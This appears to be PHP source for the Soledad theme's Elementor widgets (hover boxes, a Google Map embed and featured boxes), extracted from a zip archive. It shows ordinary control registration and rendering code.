					'{{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-button a' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->add_responsive_control(
			'button_spacing',
			[
				'label'     => esc_html__( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'separator' => 'before',
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-button' => 'padding-top: {{SIZE}}{{UNIT}}',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section( 'section_design_sliderdosnav', array(
			'label' => __( 'Slider Controls', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
			'condition' => array(
				'_skin' => 'penci-hvb-envelope',
			),
		) );

		$this->add_control( 'heading_prenex_style', array(
			'label'     => __( 'Previous/Next Buttons', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'dots_nxpv_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev:hover, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next:hover, {{WRAPPER}} .slider-40-wrapper .nav-slider-button:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev:hover, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next:hover, {{WRAPPER}} .slider-40-wrapper .nav-slider-button:hover' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_sizes', array(
			'label'     => __( 'Button Padding', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'padding:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; width: auto;height: auto;line-height: normal;margin-top:0;transform:translateY(-50%);' ),
		) );

		$this->add_control( 'dots_nxpv_isizes', array(
			'label'     => __( 'Icon Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev i, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next i, {{WRAPPER}} .slider-40-wrapper .nav-slider-button i' => 'font-size: {{SIZE}}px;' ),
		) );

		$this->add_control( 'dots_nxpv_bdradius', array(
			'label'     => __( 'Button Border Radius', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();
	}

	public function activeItem( $active_item, $totalItem ) {
		$active_item = (int) $active_item;

		return $active_item = ( $active_item <= 0 || $active_item > $totalItem ? 1 : $active_item );
	}

	protected function render() {
		$settings = $this->get_settings();

		$this->markup_block_title( $settings, $this );

		if ( $settings['hover_box_event'] ) {
			$hoverBoxEvent = $settings['hover_box_event'];
		} else {
			$hoverBoxEvent = false;
		}

		if ( $settings['box_image_effect'] ) {
			$this->add_render_attribute( 'hover_box', 'class', 'penci-hover-box-img-effect penci-hvb-' . $settings['box_image_effect_select'] );
		}

		$this->add_render_attribute(
			[
				'hover_box' => [
					'id'    => 'penci-hover-box-' . $this->get_id(),
					'class' => 'penci-hover-box penci-hover-box-default penci-hover-box-' . $settings['layout_style'],

					'data-settings' => [
						wp_json_encode( array_filter( [
							'box_id'      => 'penci-hover-box-' . $this->get_id(),
							'mouse_event' => $hoverBoxEvent,
						] ) )
					]
				]
			]
		);

		?>
        <div <?php $this->print_render_attribute_string( 'hover_box' ); ?>>

		<?php
		if ( 'custom' == $settings['item_type'] ) {
			$this->box_content();
			$this->box_items();
		} else {
			$this->post_content();
			$this->post_items();
		}
		?>

        </div>

		<?php
	}

	public function box_content() {
		$settings   = $this->get_settings_for_display();
		$id         = $this->get_id();

		?>

		<?php foreach ( $settings['hover_box'] as $index => $item ) :
			$tab_count = $index + 1;
			$tab_id = 'penci-hvb-box-' . $tab_count . esc_attr( $id );

			$slide_image = Group_Control_Image_Size::get_attachment_image_src( $item['slide_image']['id'], 'thumbnail_size', $settings );
			if ( ! $slide_image ) {
				$slide_image = $item['slide_image']['url'];
			}
			
			$active_item = $this->activeItem( $settings['hover_box_active_item'], count( $settings['hover_box'] ) );

			if ( $tab_id == 'penci-hvb-box-' . $active_item . esc_attr( $id ) ) {
				$this->add_render_attribute( 'hover-box-content', 'class', 'penci-hover-box-content active', true );
			} else {
				$this->add_render_attribute( 'hover-box-content', 'class', 'penci-hover-box-content', true );
			}

			$this->add_render_attribute( 'hover-box-content-img', 'class', 'penci-hover-box-img elementor-repeater-item-' . esc_attr( $item['_id'] ), true );

			?>

            <div id="<?php echo esc_attr( $tab_id ); ?>" <?php $this->print_render_attribute_string( 'hover-box-content' ); ?>>

				<?php if ( $slide_image ) : ?>
                    <div class="penci-hover-box-img"
                         style="background-image: url('<?php echo esc_url( $slide_image ); ?>');"></div>
				<?php else : ?>
                    <div <?php $this->print_render_attribute_string( 'hover-box-content-img' ); ?>></div>
				<?php endif; ?>

            </div>
		<?php endforeach; ?>

		<?php
	}

	public function box_items() {
		$settings = $this->get_settings_for_display();
		$id       = $this->get_id();

		$this->add_render_attribute( 'box-settings', 'data-penci-hover-box-items', 'connect: #penci-hvb-box-content-' . esc_attr( $id ) . ';' );
		$this->add_render_attribute( 'box-settings', 'class', [
			'penci-hover-box-item-wrap',
			'penci-hvb-position-' . $settings['content_gap'],
			'penci-hvb-position-' . $settings['default_content_position']
		] );

		$text_hide_on_setup = '';

		if ( ! empty ( $settings['text_hide_on'] ) ) {
			foreach ( $settings['text_hide_on'] as $element ) {

				if ( $element == 'desktop' ) {
					$text_hide_on_setup .= ' penci-hvb-desktop';
				}
				if ( $element == 'tablet' ) {
					$text_hide_on_setup .= ' penci-hvb-tablet';
				}
				if ( $element == 'mobile' ) {
					$text_hide_on_setup .= ' penci-hvb-mobile';
				}
			}
		}


		?>
        <div <?php $this->print_render_attribute_string( 'box-settings' ); ?>>
            <div class="penci-hover-box-grid">

				<?php foreach ( $settings['hover_box'] as $index => $item ) :

				$tab_count = $index + 1;
				$tab_id    = 'penci-hvb-box-' . $tab_count . esc_attr( $id );


				$active_item = $this->activeItem( $settings['hover_box_active_item'], count( $settings['hover_box'] ) );

				if ( $tab_id == 'penci-hvb-box-' . $active_item . esc_attr( $id ) ) {
					$this->add_render_attribute( 'box-item', 'class', 'penci-hover-box-item active', true );
				} else {
					$this->add_render_attribute( 'box-item', 'class', 'penci-hover-box-item', true );
				}

				$this->add_render_attribute( 'penci-hover-box-title', 'class', 'penci-hover-box-title', true );

				$title_key  = 'title_' . $index;
				$button_key = 'button_' . $index;
				$this->add_render_attribute( $title_key, 'class', 'penci-hover-box-title-link', true );
				$this->add_link_attributes( $title_key, isset ( $item['title_link'] ) ? $item['title_link'] : [] );
				$this->add_link_attributes( $button_key, isset ( $item['button_link'] ) ? $item['button_link'] : [] );

				?>
                <div>
                    <div <?php $this->print_render_attribute_string( 'box-item' ); ?>
                            data-id="<?php echo esc_attr( $tab_id ); ?>">

						<?php if ( 'yes' == $settings['show_icon'] ) : ?>
                            <a class="penci-hover-box-icon-box" href="javascript:void(0);"
                               data-tab-index="<?php echo esc_attr( $index ); ?>">
									<span class="penci-hover-box-icon-wrap">
										<?php Icons_Manager::render_icon( $item['selected_icon'], [ 'aria-hidden' => 'true' ] ); ?>
									</span>
                            </a>
						<?php endif; ?>

						<?php if ( $item['hover_box_sub_title'] && ( 'yes' == $settings['show_sub_title'] ) ) : ?>
                            <div class="penci-hover-box-sub-title">
								<?php echo wp_kses( $item['hover_box_sub_title'], wp_kses_allowed_html( 'post' ) ); ?>
                            </div>
						<?php endif; ?>

						<?php if ( $item['hover_box_title'] && ( 'yes' == $settings['show_title'] ) ) : ?>
                        <<?php echo esc_attr( $settings['title_tags'] ); ?>
						<?php $this->print_render_attribute_string( 'penci-hover-box-title' ); ?>>

						<?php if ( '' !== $item['title_link']['url'] ) : ?>
                        <a <?php $this->print_render_attribute_string( $title_key ); ?>>
							<?php endif; ?>
							<?php echo wp_kses( $item['hover_box_title'], wp_kses_allowed_html( 'post' ) ); ?>
							<?php if ( '' !== $item['title_link']['url'] ) : ?>
                        </a>
					<?php endif; ?>

                    </<?php echo esc_attr( $settings['title_tags'] ); ?>>
					<?php endif; ?>

					<?php if ( $item['hover_box_content'] && ( 'yes' == $settings['show_content'] ) ) : ?>
                        <div class="penci-hover-box-text <?php echo esc_attr( $text_hide_on_setup ); ?>">
							<?php echo wp_kses_post( $this->parse_text_editor( $item['hover_box_content'] ) ); ?>
                        </div>
					<?php endif; ?>

					<?php if ( $item['hover_box_button'] && ( 'yes' == $settings['show_button'] ) ) : ?>
                        <div class="penci-hover-box-button">
                            <a <?php $this->print_render_attribute_string( $button_key ); ?>>
								<?php echo wp_kses_post( $item['hover_box_button'] ); ?>
                            </a>
                        </div>
					<?php endif; ?>

                </div>
            </div>
			<?php endforeach; ?>

        </div>
        </div>
		<?php
	}

	public function post_content() {
		$settings = $this->get_settings_for_display();
		$id       = $this->get_id();
		$args     = Query_Control::get_query_args( 'posts', $settings );;
		$query_custom = new \WP_Query( $args );
		$thumbnail_size = isset( $settings['thumbnail_size'] ) ? $settings['thumbnail_size'] : 'full';
		?>

		<?php
		if ( $query_custom->have_posts() ):
			$post_count = 0;
			while ( $query_custom->have_posts() ) : $query_custom->the_post();
				$post_count++;
				$tab_id = 'penci-hvb-box-' . $post_count . esc_attr( $id );

				$slide_image = get_the_post_thumbnail_url( get_the_ID(), $thumbnail_size );
				if ( ! $slide_image ) {
					$slide_image = penci_get_default_thumbnail_url();
				}
				
				$active_item = $this->activeItem( $settings['hover_box_active_item'], $query_custom->found_posts );

				if ( $tab_id == 'penci-hvb-box-' . $active_item . esc_attr( $id ) ) {
					$this->add_render_attribute( 'hover-box-content', 'class', 'penci-hover-box-content active', true );
				} else {
					$this->add_render_attribute( 'hover-box-content', 'class', 'penci-hover-box-content', true );
				}

				$this->add_render_attribute( 'hover-box-content-img', 'class', 'penci-hover-box-img elementor-repeater-item-' . esc_attr( get_the_ID() ), true );

				?>

                <div id="<?php echo esc_attr( $tab_id ); ?>" <?php $this->print_render_attribute_string( 'hover-box-content' ); ?>>

					<?php if ( $slide_image ) : ?>
                        <div class="penci-hover-box-img"
                             style="background-image: url('<?php echo esc_url( $slide_image ); ?>');"></div>
					<?php else : ?>
                        <div <?php $this->print_render_attribute_string( 'hover-box-content-img' ); ?>></div>
					<?php endif; ?>

                </div>
			<?php
			endwhile;
		endif; ?>
		<?php
	}

	public function post_items() {
		$settings = $this->get_settings();
		$id   = $this->get_id();
		$args = Query_Control::get_query_args( 'posts', $settings );;
		$query_custom = new \WP_Query( $args );
		$post_meta    	= $settings['postmeta'] ? $settings['postmeta'] : [];
		$primary_cat    = $settings['primary_cat'];
		$this->add_render_attribute( 'box-settings', 'data-penci-hover-box-items', 'connect: #penci-hvb-box-content-' . esc_attr( $id ) . ';' );
		$this->add_render_attribute( 'box-settings', 'class', [
			'penci-hover-box-item-wrap',
			'penci-hvb-position-' . $settings['content_gap'],
			'penci-hvb-position-' . $settings['default_content_position']
		] );

		$text_hide_on_setup = '';

		if ( ! empty ( $settings['text_hide_on'] ) ) {
			foreach ( $settings['text_hide_on'] as $element ) {

				if ( $element == 'desktop' ) {
					$text_hide_on_setup .= ' penci-hvb-desktop';
				}
				if ( $element == 'tablet' ) {
					$text_hide_on_setup .= ' penci-hvb-tablet';
				}
				if ( $element == 'mobile' ) {
					$text_hide_on_setup .= ' penci-hvb-mobile';
				}
			}
		}
		?>
		<div <?php $this->print_render_attribute_string( 'box-settings' ); ?>>
		<div class="penci-hover-box-grid">
		<?php
		if ( $query_custom->have_posts() ) {
			$post_count = 0;
			while ( $query_custom->have_posts() ) : $query_custom->the_post();
				$post_count++;
				$tab_id = 'penci-hvb-box-' . $post_count . esc_attr( $id );
				$active_item = $this->activeItem( $settings['hover_box_active_item'], $query_custom->found_posts );

				if ( $tab_id == 'penci-hvb-box-' . $active_item . esc_attr( $id ) ) {
					$this->add_render_attribute( 'box-item', 'class', 'penci-hover-box-item active', true );
				} else {
					$this->add_render_attribute( 'box-item', 'class', 'penci-hover-box-item', true );
				}

				$this->add_render_attribute( 'penci-hover-box-title', 'class', 'penci-hover-box-title', true );
				?>
                <div>
                    <div <?php $this->print_render_attribute_string( 'box-item' ); ?>
                            data-id="<?php echo esc_attr( $tab_id ); ?>">
						<?php if ( 'yes' == $settings['show_icon'] ) : ?>
                            <a class="penci-hover-box-icon-box" href="javascript:void(0);"
                               data-tab-index="<?php echo esc_attr( get_the_ID() ); ?>">
								<span class="penci-hover-box-icon-wrap">
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php elseif ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php elseif ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php elseif ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php elseif ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php else : ?>
									<?php penci_fawesome_icon( 'fas fa-file' ); ?>
								<?php endif; ?>
								</span>
                            </a>
						<?php endif; ?>

						<?php if ( 'yes' == $settings['show_post_meta'] ) : ?>
							<?php if ( ( isset( $settings['cspost_enable'] ) && $settings['cspost_enable'] ) || ( count( array_intersect( array(
										'author',
										'date',
										'comment',
										'views',
										'reading',
										'excerpt'
									), $post_meta ) ) > 0 ) ) { ?>
                                <div class="pchvb-meta">
                                    <div class="pcbg-meta-desc">
										<?php if ( in_array( 'cat', $post_meta ) ) : ?>
											<span class="bg-cat-meta">
												<?php penci_category( '', $primary_cat ); ?>
											</span>
										<?php endif; ?>
										<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                            <span class="bg-date-author author-italic author vcard">
												<?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
													penci_coauthors_posts_links();
												else: ?>
                                                    <a class="author-url url fn n"
                                                       href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
												<?php endif; ?>
											</span>
										<?php endif; ?>
										<?php if ( in_array( 'date', $post_meta ) ) : ?>
                                            <span class="bg-date"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                            <span class="bg-comment">
												<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
											</span>
										<?php endif; ?>
										<?php
										if ( in_array( 'views', $post_meta ) ) {
											echo '<span>';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
										<?php
										$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
										if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                            <span class="bg-readtime"><?php penci_reading_time(); ?></span>
										<?php endif; ?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
											'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
											'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
											'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
											'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
                                </div>
							<?php } ?>
						<?php endif; ?>

						<?php if ( 'yes' == $settings['show_title'] ) : ?>
							<<?php echo esc_attr( $settings['title_tags'] ); ?>
							<?php $this->print_render_attribute_string( 'penci-hover-box-title' ); ?>>


							<a class="penci-hover-box-title-link" href="<?php the_permalink(); ?>">
								<?php the_title(); ?>
							</a>


							</<?php echo esc_attr( $settings['title_tags'] ); ?>>
						<?php endif; ?>

					<?php if ( 'yes' == $settings['show_content'] ) : ?>
                        <div class="penci-hover-box-text">
							<?php penci_the_excerpt( $settings['post_content_length'] ); ?>
                        </div>
					<?php endif; ?>

					<?php if ( 'yes' == $settings['show_button'] ) : ?>
                        <div class="penci-hover-box-button">
                            <a href="<?php the_permalink(); ?>">
								<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                            </a>
                        </div>
					<?php endif; ?>
                </div>
                </div>
			<?php
			endwhile;
			wp_reset_postdata();
		} else {
			echo '<div class="penci-no-posts-found">' . esc_html__( 'No posts found', 'soledad' ) . '</div>';
		}
		?>
		</div></div>
		<?php
	}
}PK     N\N  N  *  inc/elementor/modules/penci-map/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciMap;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-map';
	}

	public function get_widgets() {
		return array( 'PenciMap' );
	}
}
PK     N\ذ      5  inc/elementor/modules/penci-map/widgets/penci-map.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciMap\Widgets;

use Elementor\Controls_Manager;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciMap extends Base_Widget {

	public function get_name() {
		return 'penci-map';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Map', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-google-maps';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'map' );
	}

	public function get_script_depends() {
		return array( 'google-map' );
	}

	protected function register_controls() {
		

		$this->start_controls_section(
			'section_general', array(
				'label' => esc_html__( 'Map', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'map_api', array(
				'label'   => __( 'Google Map API key', 'soledad' ),
				'type'    => Controls_Manager::HIDDEN,
				'default' => get_theme_mod( 'penci_map_api_key', '' ),
			)
		);
		$query['autofocus[control]'] = 'penci_map_api_key';
		$google_map_api_link         = add_query_arg( $query, admin_url( 'customize.php' ) );
		$this->add_control(
			'map_desc',
			[
				'type'            => Controls_Manager::RAW_HTML,
				'raw'             => __('<span style="color: #fff;">Note Important: </span>If you want to use full features of Google Map, you need to enter the Google MAP API on <a href="' . esc_url( $google_map_api_link ) . '" target="_blank">this page</a> first.','soledad' ),
				'separator'       => 'after',
				'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',
			]
		);
		$this->add_control(
			'map_using', array(
				'label'   => __( 'Insert Map Using', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'address',
				'options' => array(
					'address'     => esc_html__( 'Address', 'soledad' ),
					'coordinates' => esc_html__( 'Coordinates', 'soledad' ),
				)
			)
		);
		$this->add_control(
			'address', array(
				'label'     => __( 'Address', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'condition' => array( 'map_using' => 'address' ),
			)
		);
		$this->add_control(
			'latitude', array(
				'label'     => __( 'Latitude', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'condition' => array( 'map_using' => 'coordinates' ),
			)
		);
		$this->add_control(
			'longtitude', array(
				'label'     => __( 'Longtitude', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'condition' => array( 'map_using' => 'coordinates' ),
				'separator' => 'after',
			)
		);
		$this->add_control(
			'map_type', array(
				'label'     => __( 'Map type', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'road',
				'options'   => array(
					'road'      => esc_html__( 'Road', 'soledad' ),
					'satellite' => esc_html__( 'Satellite', 'soledad' ),
					'hybrid'    => esc_html__( 'Hybrid', 'soledad' ),
					'terrain'   => esc_html__( 'Terrain', 'soledad' ),
					'custom'    => esc_html__( 'Custom', 'soledad' ),
				),
				'condition' => [ 'map_api!' => '' ],
			)
		);
		$this->add_control(
			'map_width', array(
				'label'      => __( 'Width', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'range'      => array(
					'%'  => array( 'min' => 0, 'max' => 100 ),
					'px' => array( 'min' => 0, 'max' => 2000 )
				),
				'size_units' => array( '%', 'px' ),
			)
		);
		$this->add_control(
			'map_height', array(
				'label' => __( 'Height', 'soledad' ),
				'type'  => Controls_Manager::NUMBER,
			)
		);
		$this->add_control(
			'marker_img',
			array(
				'label'     => __( 'Marker Image', 'soledad' ),
				'type'      => Controls_Manager::MEDIA,
				'separator' => 'before',
				'condition' => [ 'map_api!' => '' ],
			)
		);
		$this->add_control(
			'marker_title', array(
				'label'     => __( 'Marker Title', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'condition' => [ 'map_api!' => '' ],
			)
		);
		$this->add_control(
			'info_window', array(
				'label'     => __( 'Info Window', 'soledad' ),
				'type'      => Controls_Manager::TEXTAREA,
				'separator' => 'after',
				'condition' => [ 'map_api!' => '' ],
			)
		);
		$pmetas = array(
			'map_is_zoom'     => array( 'label' => __( 'Zoom', 'soledad' ) ),
			'map_pan'         => array( 'label' => __( 'Pan', 'soledad' ) ),
			'map_scale'       => array( 'label' => __( 'Map scale', 'soledad' ) ),
			'map_street_view' => array( 'label' => __( 'Street view', 'soledad' ) ),
			'map_rotate'      => array( 'label' => __( 'Rotate', 'soledad' ) ),
			'map_overview'    => array( 'label' => __( 'Overview map', 'soledad' ) ),
			'map_scrollwheel' => array( 'label' => __( 'Scrollwheel', 'soledad' ) ),
		);

		foreach ( $pmetas as $key => $pmeta ) {
			$this->add_control(
				$key, array(
					'label'     => $pmeta['label'],
					'type'      => Controls_Manager::SWITCHER,
					'label_on'  => __( 'Yes', 'soledad' ),
					'label_off' => __( 'No', 'soledad' ),
					'condition' => [ 'map_api!' => '' ],
				)
			);
		}

		$this->add_control(
			'map_zoom', array(
				'label'   => __( 'Zoom', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '8',
				'options' => array(
					6  => 6,
					7  => 7,
					8  => 8,
					9  => 9,
					10 => 10,
					11 => 11,
					12 => 12,
					13 => 13,
					14 => 14,
					15 => 15,
					16 => 16,
				)
			)
		);

		$this->end_controls_section();
	}

	protected function render() {
		$settings = $this->get_settings();


		$default = array(
			'penci_block_width' => '3',
			'shortcode_id'      => 'map',
			'map_using'         => '',
			'address'           => '',
			'latitude'          => '',
			'longtitude'        => '',
			'map_type'          => '',
			'map_width'         => '',
			'map_height'        => '',
			'marker_img'        => '',
			'marker_title'      => '',
			'info_window'       => '',
			'map_is_zoom'       => '',
			'map_pan'           => '',
			'map_scale'         => '',
			'map_street_view'   => '',
			'map_rotate'        => '',
			'map_overview'      => '',
			'map_scrollwheel'   => '',
			'map_zoom'          => '',
			'come_from'         => 'vc'
		);

		$atts = shortcode_atts( $default, $settings );

		$css_class = 'penci-block-vc penci-google-map';

		$width  = isset( $settings['map_width']['size'] ) && $settings['map_width']['size'] ? $settings['map_width']['size'] . $settings['map_width']['unit'] : '100%';
		$height = intval( $settings['map_height'] ) ? $settings['map_height'] . 'px' : '500px';

		$atts['map_zoom']   = intval( $settings['map_zoom'] ? $settings['map_zoom'] : 8 );
		$atts['marker_img'] = $this->get_marker_img_el( $settings['marker_img'] );

		$option = htmlentities( json_encode( $atts ), ENT_QUOTES, "UTF-8" );

		$block_id = 'penci_map_' . rand( 1000, 100000 );

		$map_api = get_theme_mod( 'penci_map_api_key' );

		if ( 'address' == $settings['map_using'] ) {
			$map_address = $settings['address'];
		} else {
			$map_address = $settings['latitude'] . ',' . $settings['longtitude'];
		}

		if ( $map_api ) {
			printf( '<div style="width:%s;height:%s" id="%s" class="%s" data-map_options="%s"></div>', $width, $height, $block_id, $css_class, $option );
		} else {
			$params    = [
				rawurlencode( $map_address ),
				absint( $settings['map_zoom'] ),
				esc_attr( $settings['map_type'] ),
			];
			$map_url   = 'https://maps.google.com/maps?q=%1$s&amp;t=m&amp;z=%2$d&amp;output=embed&amp;iwloc=near&amp;maptype=%3$s';
			$map_url   = esc_url( vsprintf( $map_url, $params ) );
			$css_class = 'penci-block-vc penci-lazy no-api';
			printf( '<iframe style="width:%s;height:%s" id="%s" class="%s" data-src="%s"></iframe>', $width, $height, $block_id, $css_class, $map_url );
		}
	}

	public function get_marker_img_el( $image, $thumbnail_size = 'thumbnail' ) {
		if ( empty( $image['url'] ) ) {
			return '';
		}
		if ( ! empty( $image['id'] ) ) {
			$attr = wp_get_attachment_image_src( $image['id'], $thumbnail_size );
			if ( isset( $attr['url'] ) && $attr['url'] ) {
				$image['url'] = $attr['url'];
			}
		}

		return $image['url'];
	}

}
PK     N\L%  %  5  inc/elementor/modules/penci-featured-boxes/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciFeaturedBoxes;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-featured-boxes';
	}

	public function get_widgets() {
		return array( 'PenciFeaturedBoxes' );
	}
}
PK     N\FQ{o)  )  K  inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciFeaturedBoxes\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use Elementor\Utils;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciFeaturedBoxes extends Base_Widget {

	public function get_name() {
		return 'penci-featured-boxes';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Featured Boxes', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'featured boxes' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section(
			'section_general', array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'penci_style', array(
				'label'   => __( 'Style', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'boxes-style-1',
				'options' => array(
					'boxes-style-1' => esc_html__( 'Style 1', 'soledad' ),
					'boxes-style-2' => esc_html__( 'Style 2', 'soledad' ),
					'boxes-style-3' => esc_html__( 'Style 3', 'soledad' ),
					'boxes-style-4' => esc_html__( 'Style 4', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'penci_columns', array(
				'label'   => __( 'Columns', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'boxes-3-columns',
				'options' => array(
					'boxes-1-column'  => esc_html__( '1 Column', 'soledad' ),
					'boxes-2-columns' => esc_html__( '2 Columns', 'soledad' ),
					'boxes-3-columns' => esc_html__( '3 Columns', 'soledad' ),
					'boxes-4-columns' => esc_html__( '4 Columns', 'soledad' )
				)
			)
		);

		$this->add_control(
			'penci_size', array(
				'label'   => __( 'Image Size Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'horizontal',
				'options' => array(
					'horizontal' => esc_html__( 'Horizontal Size', 'soledad' ),
					'square'     => esc_html__( 'Square Size', 'soledad' ),
					'vertical'   => esc_html__( 'Vertical Size', 'soledad' ),
					'custom'     => esc_html__( 'Custom', 'soledad' ),
				)
			)
		);
		$this->add_responsive_control(
			'penci_img_ratio', array(
				'label'          => __( 'Image Ratio', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'default'        => array( 'size' => 0.66 ),
				'tablet_default' => array( 'size' => '' ),
